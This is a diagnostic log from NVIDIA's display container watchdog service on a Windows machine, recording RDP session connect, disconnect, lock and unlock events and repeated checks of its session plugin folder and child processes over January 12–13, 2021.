#6(I)[2021-01-12 04:44:11,587]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#33'
#7(D)[2021-01-12 04:44:11,587]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-12 04:44:11,587]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-12 04:44:11,587]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-12 04:44:11,587]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-12 04:44:11,587]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-12 04:44:11,587]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-12 04:44:11,587]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-12 04:44:11,587]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-12 04:44:11,587]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-12 04:44:11,587]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-12 04:44:11,805]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-12 04:44:11,805]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-12 04:48:55,874]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-12 04:48:55,874]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-12 04:48:55,937]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-12 04:48:55,937]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-12 04:53:05,999]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-12 04:53:05,999]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-12 04:53:05,999]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-12 04:53:05,999]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-12 04:53:05,999]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-12 04:53:06,031]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#35'
#6(I)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#35'
#7(D)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-12 04:53:06,062]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-12 04:53:06,062]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-12 04:53:06,062]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-12 04:53:06,062]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-12 04:53:06,062]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-12 04:53:06,062]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-12 04:53:06,062]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-12 04:53:06,062]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-12 04:53:06,109]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#35'
#6(I)[2021-01-12 04:53:06,109]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#35'
#7(D)[2021-01-12 04:53:06,109]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-12 04:53:06,109]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-12 04:53:06,109]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-12 04:53:06,109]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-12 04:53:06,109]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-12 04:53:06,109]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-12 04:53:06,109]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-12 04:53:06,109]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-12 04:53:06,109]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-12 04:53:06,109]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-12 04:53:06,249]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-12 04:53:06,249]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-12 05:03:28,045]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-12 05:03:28,045]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-12 05:03:28,076]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-12 05:03:28,076]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-12 18:14:27,730]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-12 18:14:27,730]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-12 18:14:27,730]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-12 18:14:27,730]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-12 18:14:27,730]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-12 18:14:27,777]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-12 18:14:27,855]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#38'
#6(I)[2021-01-12 18:14:27,855]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#38'
#7(D)[2021-01-12 18:14:27,855]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-12 18:14:27,855]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-12 18:14:27,855]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-12 18:14:27,855]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-12 18:14:27,855]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-12 18:14:27,855]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-12 18:14:27,855]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-12 18:14:27,855]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-12 18:14:27,855]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-12 18:14:27,855]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-12 18:14:27,855]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-12 18:14:27,871]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-12 18:14:27,902]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#38'
#6(I)[2021-01-12 18:14:27,902]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#38'
#7(D)[2021-01-12 18:14:27,902]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-12 18:14:27,902]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-12 18:14:27,902]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-12 18:14:27,902]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-12 18:14:27,902]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-12 18:14:27,902]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-12 18:14:27,902]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-12 18:14:27,902]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-12 18:14:27,902]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-12 18:14:27,902]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-12 18:14:28,090]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-12 18:14:28,090]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-12 22:32:17,161]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-12 22:32:17,161]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-12 22:32:17,239]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-12 22:32:17,239]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-13 16:46:35,981]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-13 16:46:35,981]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-13 16:46:35,981]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-13 16:46:35,981]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-13 16:46:35,981]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-13 16:46:36,028]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#40'
#6(I)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#40'
#7(D)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
